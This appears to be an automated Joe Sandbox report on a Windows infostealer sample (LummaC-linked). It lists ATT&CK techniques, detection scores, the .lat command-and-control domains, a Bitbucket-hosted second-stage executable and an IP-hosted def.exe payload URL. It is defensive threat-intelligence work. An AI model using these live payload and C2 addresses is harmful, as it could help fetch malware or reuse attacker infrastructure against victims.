Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
j6ks0Fxu6t.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
j6ks0Fxu6t.exe	100%	Avira	TR/Crypt.TPM.Gen
j6ks0Fxu6t.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-	0%	Avira URL Cloud	safe
https://observerfry.lat/9K	100%	Avira URL Cloud	malware
https://observerfry.lat/apiL	100%	Avira URL Cloud	malware
https://observerfry.lat/pi8	100%	Avira URL Cloud	malware
https://observerfry.lat/apip	100%	Avira URL Cloud	malware
https://remote-app-switcher.prod-	0%	Avira URL Cloud	safe
https://aui-cdn.atlassia	0%	Avira URL Cloud	safe
https://observerfry.lat/s	100%	Avira URL Cloud	malware
https://bbc-object-storage--frontbucket.us-east-1.prod.pu	0%	Avira URL Cloud	safe
https://observerfry.lat/apilite5y	100%	Avira URL Cloud	malware
https://web-security-reports.services.at	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exeocY	0%	Avira URL Cloud	safe
https://bbc-frontbucket-static.stg-ea	0%	Avira URL Cloud	safe
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.216.216.113	true	false	high
bitbucket.org	185.166.143.50	true	false	high
observerfry.lat	104.21.36.201	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
slipperyloo.lat	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe	false	high
observerfry.lat	false	high
wordyfindy.lat	false	high
https://observerfry.lat/api	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/Ft	j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0	j6ks0Fxu6t.exe, 00000000.00000002.2315488591.00000000009FA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-	j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apip	j6ks0Fxu6t.exe, 00000000.00000003.1770330663.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat/pi8	j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://observerfry.lat/s	j6ks0Fxu6t.exe, 00000000.00000003.1869838984.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	j6ks0Fxu6t.exe, 00000000.00000003.1796055243.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056C8000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772368792.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1795892019.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/d	j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://observerfry.lat/apilite5y	j6ks0Fxu6t.exe, 00000000.00000003.1843812155.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	j6ks0Fxu6t.exe, 00000000.00000003.1772368792.000000000569C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://bbuseruploads.s3.amazonaws.com:443/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3	j6ks0Fxu6t.exe, 00000000.00000002.2318204872.0000000005660000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassia	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat:443/api	j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316214995.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microP	j6ks0Fxu6t.exe, 00000000.00000003.1869872872.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770270270.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770475123.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1849009282.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.pu	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/9K	j6ks0Fxu6t.exe, 00000000.00000003.1843812155.000000000566B000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818676658.0000000005669000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1844090234.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818911372.000000000566C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://observerfry.lat/	j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	j6ks0Fxu6t.exe, 00000000.00000003.1796055243.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056C8000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772368792.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1795892019.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	j6ks0Fxu6t.exe, 00000000.00000003.2002768319.0000000005901000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318705101.0000000005D59000.00000002.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	j6ks0Fxu6t.exe, 00000000.00000002.2316101561.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apiL	j6ks0Fxu6t.exe, 00000000.00000003.1845521605.0000000005665000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1844162806.0000000005665000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1843812155.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1870132753.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818708368.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1886858013.0000000005664000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web-security-reports.services.at	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exeocY	j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2028623304.0000000000FF5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2028623304.0000000000FF5000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-ea	j6ks0Fxu6t.exe	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	j6ks0Fxu6t.exe, 00000000.00000003.1772368792.000000000569C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe:	j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/	j6ks0Fxu6t.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.216.216.113	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
104.21.36.201	observerfry.lat	United States	13335	CLOUDFLARENETUS	false
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580379
Start date and time:	2024-12-24 12:38:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	j6ks0Fxu6t.exe renamed because original name is a hash value
Original Sample Name:	60f8310a2931ca33419849ea4d202acb.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/5@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 52.149.20.212, 20.190.147.5, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target j6ks0Fxu6t.exe, PID 6596 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: j6ks0Fxu6t.exe

Simulations

Behavior and APIs

Time	Type	Description
06:39:03	API Interceptor	24x Sleep call for process: j6ks0Fxu6t.exe modified
06:39:59	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.36.201	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse
185.166.143.50	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.199.72
s3-w.us-east-1.amazonaws.com	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	16.182.108.137
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	16.182.108.137
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	3.5.8.193
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	52.217.14.36
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	16.15.177.52
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	3.5.17.0
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	54.231.128.9
	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	54.231.128.17
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	3.5.27.149
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	3.5.29.203
bitbucket.org	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	185.166.143.49
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.166.143.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	52.33.149.47
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	44.228.210.164
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	44.237.186.112
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
